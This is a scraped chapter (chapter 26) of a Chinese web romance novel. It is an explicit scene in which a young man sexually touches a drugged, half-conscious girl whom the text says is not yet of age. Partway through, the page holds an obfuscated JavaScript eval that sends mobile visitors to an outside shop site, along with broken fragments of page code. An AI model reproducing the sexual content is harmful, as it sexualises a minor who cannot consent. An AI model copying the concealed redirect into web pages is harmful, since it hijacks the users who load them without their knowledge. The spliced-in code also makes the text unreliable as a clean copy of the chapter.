26. 第 26 章
作品:《竹马上瘾后》 掀开□□的袍子,大步向连通着寝房最右侧的小屋子走去。
肩上的人儿迷迷糊糊,不知她方才做了甚出格的举动。
只知道甘.霖没了,而且突然由躺在云层上变为挂云层边缘。
她的双脚悬空,似是随时要掉落下来一般。
她很害怕,只能死死抓扣住那边缘的云团。
双脚更是直接分开紧攀住。
正在急匆匆掀开屋子珠帘的人闷哼一声。
眼神凌厉地瞟了一眼身上一点都不安分的人儿。
警告,危险的目光向睁着大大却又迷茫的杏眼投.射去。
那杏眼眨巴眨巴,似是对传达的信息一无所知。
最终好像有些累,阖上了眼,乖乖趴在他的肩头。
像只娇软的狸奴蹭着跟主人撒娇一般。
无奈地,他只能收回目光。
裴翙默默把这笔账记了下来,总有一天,他会讨回来的。
这间小屋子其实是浴池。
裴翙一入内室就注意到这里了。
但若不是他,不知原本该来的人是谁?
他的面色冷黑,散发了戾气,缓缓收紧了手中的力道。
怀中像八爪鱼一般攀附在他身上的人感受臀骤然被锢紧,难受得叫喊出声。
但当她正叫喊第一声时,身子蓦然被扔下。
下一瞬,她止住了叫喊,整个人都安静了下来。
她仿佛感受到了无边的凉意,从四周向她涌来,浸入她的毛孔,将她越来越燥热的身子安抚。
她紧绷的神经渐渐放松,任由四周的水吞没她。
裴翙一把将小青梅扔在了浴池。
他兀自坐在池边,喘了喘气。
双腿浸泡在水里,踏着池中的阶梯。
裴翙见池中的人儿乖巧,一动不动地浮在水中,他全身的那股子冲劲燥热也渐渐消散。
他揪了揪眉心,解着乏。
这药既然无解,说明应不是什么必须合.欢才能消解的药。
等时间过了,潮热退了,自然就好了。
他现在要做的,就是等。
裴翙默念清心咒,念了良久。
他不能现在就对她干出那种事儿,不说她此刻毫无意识,他不喜欢趁人之危。
就说她的年纪,还未及笄,身子应是……
那两团轻轻颤抖的白绵团子倏地出现在他的脑海。
他微不可察地滚了滚喉结。
应是,还未长好吧。
裴翙缓缓睁开眼,瞧着大半个身子都泡在池中,只露出胸.脯往上的小青梅。
她的外衫系得很实,在拥挤的水中都没有被冲散。
但水已经快速浸湿了她身上唯一的裙,那裙紧贴住那饱.满的曲线。
两个大团子上还挂着几颗水珠,抓着起伏的弧度不肯掉落。
裴翙立即起身踏出浴池,小腿往下全都是水淋淋的。
他走出了这小屋子,水迹顺着足迹一路蜿蜒流淌。
这边的蔺允叠一个人泡在池中舒适了没一会儿,渐渐地,那种痒痒得让人心发麻的感觉又起来了。
伴随着燥热。
她又开始难受。
她总感觉这水升了温,池中的水已经不能解决她的烫。
裴翙吩咐人去买了两套衣物。
一套是正常的夏季衣袍,一套是稍厚实的秋季襦裙。
里面的人一直泡着,他担心她会发寒。
顺便去解决了一下自身的问题。
冷冰冰黏糊糊的,不大好受。
他还将屋里散发香的物件都扔了出去,散散味儿。
但他不敢开窗牖,怕小青梅着凉,也怕被人瞧见坏她的名声。
裴翙抱着一整套衣裙朝浴池走去。
他才穿过珠帘就被眼前的场景惊到了。
池中只飘荡着一件花纹白色镂.空外衫子,是他亲手给她系上去的。
除此之外,无任何的人影。
小青梅哪里去了?
立在屋中外缘的人立即上前查探,眼神四处搜索。
岸上除了他方才的脚印没有任何印记,也无任何水渍,不像是有人上来过的痕迹。
似是想到了什么,他那双狭长的眼鼓得圆圆的。
连倾斜的双眉都被皱起的眉头肌肉撑得平整,形成一条直线。
不会是失去意识,又无人看管,倒砸在水中了吧?
裴翙神情绷紧,立即甩了衣裙跳入池中。
池中的水瞬间吞没他的整个身躯。
他在水下睁着大大的眼睛四处寻找,生怕错过了什么。
虽然这个池子没有他寝房的大,但也算是中等大小。
况且池中的水有些微浑浊,他看得不是很清楚。
只能伸开两个臂膀在水下划找。
他一处处地划找,仔仔细细地察看。
却无任何踪影。
他着了急,加大了力度,快速地挥动着手臂。
突然,他的身后“哗啦啦”一道水声。
接着,响起了几声呛水的咳嗽声。
裴翙立即停了下来,从水下钻了出来。
微白色的水珠顺着他的额头滑下。
他一甩头,视线清晰了。
藺允叠方才一直泡着水中想要仔细感受凉爽的感觉,却越来越热,她只能伸出了头。
此时恰看见一个异物,她下意识想要抱住他解热。
裴翙才刚睁眼就猝不及防地被一个东西撞上,扑倒。
因为水中冲击力太足,他又无防备,被撞得连连后仰。
差一点就要重新入水。
裴翙反应过来后立即擒住那东西。
脚前后踩住了地面才堪堪稳住身子。
手感娇嫩,呼吸滚热。
他望向那东西,原来是小青梅。
他悬提着的心放了下来。
但没等他喘口气,身前的人儿又缠了上来,两只如白玉般的胳膊攀上他的脖颈。
头搁在他的精.壮的胸膛上。
用她娇嫩的脸蹭来蹭去。
裴翙想要伸出手去阻止这番动作。
他的手指一动,才发觉他手的位置在那片没有衣物遮掩的腰际之上。
他瞬间没了动作,任由颤动的指节握紧那截腰肢。
好软!
好滑!
好细!
第一次接触新大陆的男子没能逃过这种新奇的感觉。
全身的注意力全在那不堪盈盈一握的腰上。
忽略了胸膛前人儿的不断作乱。
腰虽细,无甚多肉,细细感知却能捕捉到些微极软的肉。
眸里闪动着某些晦暗微光的裴翙好奇又惊喜,双手握得越来越紧。
呼吸也越来越急促。
直至,湿润软腻的唇划过他两边锁骨正中央的骨肉。
那眸里晦暗的东西变成了明亮的光芒,瞬间有一股雷酥酥麻麻地通过全身。
裴翙整个人麻得发颤。
又一次,她的唇轻咬着他的骨肉,慢慢搌.捻。
分明力度很轻,可他却觉得像是啃.噬一般。
他的血肉都要被啃得破碎四裂,筋脉寸断。
他的双手控制不了力道,逐渐由握变成掐。
那双手勾着脖颈的人儿吃痛,锁骨上的唇瞬间松了开,同时一声呻.吟溢了出。
这声响没让藺允叠腰上的手停住,反而掐得更紧。
紧到原本被握得微红的腰肉都泛了青白。
裴翙的指关节更是突了出来。
白骨森然,覆于青红之上,本该是骇人之状,却莫名有一种美艳之感。
藺允叠受不住这疼,腰似生生被折断一般,迷糊的脑袋渐渐清醒。
沉重的眼睛缓缓睁开。
她虽醒了来,却也只能勉强睁开眼,意识并未归位,眼前也总有层朦胧模糊的布蒙着。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053211|149068||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
眼神一转,她突然看见身边出现的东西被吓了一跳。
藺允叠下意识去推他,她太热了。
那螃蟹温度竟然比她还高,还是有着两只大钳子的螃蟹。
很显然,她自然是敌不过那两只大钳子,被禁锢得哼哼唧唧哭了起来。
她害怕那大钳子将她的腰钳断。
“松开,疼,疼呐……”
裴翙被一声声恐惧又委屈的哭泣唤了回来,缓缓松了手。
飘忽涣散的眼神渐渐聚集,重重地呼吸了几声。
看着面前哭得发软的人儿他的心也揪了起来,但还是霸道地不容她逃离。
他本就不是什么良善之人,同理心也未多有。
他是心疼她,却不能太克制自己的行为,他体内的火已经绵延不绝,烧得他快要失去理智。
甚至,他希望她哭的更久,更大声。
只对他一个人哭。
藺允叠后退几步,因为他的禁锢未完全松开,所以她还是在他的怀中,离他有半个小臂的距离。
她的泪珠一行行流下,将睫毛浸润得湿淋淋。
落下的泪珠顺着脸颊滑落,打在大白绵团子上。
大团子倏地被打击,微不可察地凹陷,又弹了回来。
裴翙的火越来越重,他的眼一直盯着那块地方。
无数个邪.恶的念头在脑海闪过,跳过,跑过。
最终还是没能消散,占据了整个大脑。
想要将她们紧拢入手,然后不停地变换,再将她们放入……
幽幽之火已经燎原,才清醒了的眸子又变得浑浊。
缓缓向他的猎物走去。
眼神是从未有的渴.望。
藺允叠还在与那钳子做斗争,又气又急。
“呜呜,为什么你的钳子那么大,夹得我那么疼!”
她不停地扯动那些钳子,可那有着多个钳子的螃蟹却离她越来越近。
将她紧紧围绕。
她害怕得颤抖,急忙地挣扎,只有两个钳子她都忍不了,更何况他的身上钳子好多。
下一瞬,她的腰窝之处就抵上了个钳子。
这钳子没有前面的大钳子宽大,却硬邦邦的,应该是他的后腿。
霎那间,她不敢动,任他的后腿直直碰触她。
那腿似是跟她一样被烫得失去了行动的能力,竟然不像大钳子一般对她动手动脚,安安静静地待在那里。
藺允叠松了防备,只要他不夹她,她不介意他的存在。
那两只大钳子不安分地攀爬在她身体各处。
从她的腰际往上爬,直至受了阻,碰到软肉,才将将停歇。
停在了肋骨之处。
她原以为他会上手钳住,但出乎意料的是,他没有。
藺允叠的防备越来越松,神情也不那么紧绷。
就在她昏沉的大脑即将进入深沉的睡眠之时,那两只钳子突然动了动。
覆在了她的娇柔之处。
她的脸瞬间红了,跟他的壳一样红。
腰际坚硬的后腿也开始轻微颤动。
藺允叠发了怒,用力将钳子扯开。
“臭螃蟹,你的硬钳子真硌人,我要剪掉他!”
裴翙突然被那双嫩手抚上,震得他脑中一麻。
没有任何阻碍地,从后背抱着怀中的人开始释放那股麻意。
藺允叠被钳得喘不过气,又挣扎不动,只能红着脸任由大螃蟹发疯。
良久,大螃蟹终于松了力道。
在她耳边呢喃,声音缱绻,似是得到了极大的满.足:
“呵呵,大钳子?倒是因祸得福了。”
“知道我是哪只螃蟹吗?”
藺允叠讨厌这只会说话的螃蟹,眨巴着眼恨恨道:
“力气大的硬螃蟹!”
裴翙笑出了声,刻意低了头埋在她耳旁,低沉地吹气:
“哈哈……,螃蟹要来抓你咯。”

